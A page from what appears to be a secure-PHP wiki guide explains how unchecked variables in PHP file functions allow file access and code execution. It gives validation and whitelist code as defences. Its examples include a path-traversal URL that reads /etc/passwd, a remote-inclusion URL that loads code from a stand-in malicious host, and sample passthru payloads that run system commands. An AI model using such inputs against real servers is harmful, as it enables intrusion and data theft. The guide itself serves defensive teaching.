Using Variables to Access Files

From SecurePHPWiki
Jump to: navigation, search

Allowing a malicious user to access or modify files on the server is another vulnerability that may exist as a result of variable pollution. The following functions can be used to load and execute local or remote malicious code or to access files on the web server, for example /etc/passwd.

include               chgrp      filectime    popen
include_once          chmod      filegroup    bzopen
require               chown      fileinode    gzopen
require_once          copy       filemtime    gzfile
fopen                 rename     fileowner    zip_open
show_source           stat       fileperms    cpdf_open
readfile              symlink    filesize     dba_open
move_uploaded_file    tempnam    filetype     dba_popen
file                  tmpfile    opendir      dbase_open
file_get_contents     touch      mkdir        dbmopen
file_put_contents     umask      rmdir        dbplus_open
file_exists           delete     chroot       dbplus_ropen
fileatime             unlink     scandir      dio_open

The simpliest way to use these functions securely is to avoid passing PHP variables as arguments to these functions. Instead, it may be possible to use define to declare such variables. If a browser defined variable is absolutely necessary, check the variable for malicious content first.

if ( !( preg_match( "|^[a-z_./]*$|i", $page ) && !preg_match( "|\\.\\.|i", $page ) ) )
{
  // abort the script
  // you should probably write a log message here too

  die("Invalid request"); 
}

Or

$file = $expected_secure_path .'/'.basename($page);
if ( !is_file($file) || !is_readable($file) )     // see also is_writable()
{
  // abort the script
  // you should probably write a log message here too

  die("Invalid request"); 
}

It is also possible to check the filename against a list of valid pages.

$input = $_GET["untrusted_input"];

$valid_pages = array(
       "apage.php",
       "another.php",
       "more.php"
);

$index = array_search($input, $valid_pages);  // array_search returns NULL (PHP < 4.2.0) or
if ( FALSE === $index || NULL === $index )     // FALSE if no match was found; but 0 (zero)
{                                              // and '' (empty string) are valid indexes.
  // abort the script
  // you should probably write a log message here too

  die("Invalid request");
}

In short, browser defined variables should never go unchecked in this situation; or in any other situation, as the rest of this paper will present.

Allowing file handling functions to access remote files could allow a malicious user to execute arbitrary PHP code on the server. A link such as

http://www.victim.com/index.php?p=about.htm 

obviously contains a variable referring to a file. If that filename goes unchecked it could be used to read local files such as

http://www.victim.com/index.php?p=../../../etc/passwd

or execute remote code such as

http://www.victim.com/index.php?p=http://www.malicious.com/evilCode.htm

where evilCode.htm could contain arbitrary PHP commands. For example:

passthru( 'id' );
passthru( 'ls -al /etc' );
passthru( 'ping -c 1 evilhaxor.org' );
passthru( 'echo You have been hax0red | mail root' );

Use allow_url_fopen and open_basedir configuration variables to limit the locations that included files can be opened from. Again, this example reiterates the mantra, "do not trust global variables." All variables should be initialized. The content of all browser defined variables should be examined.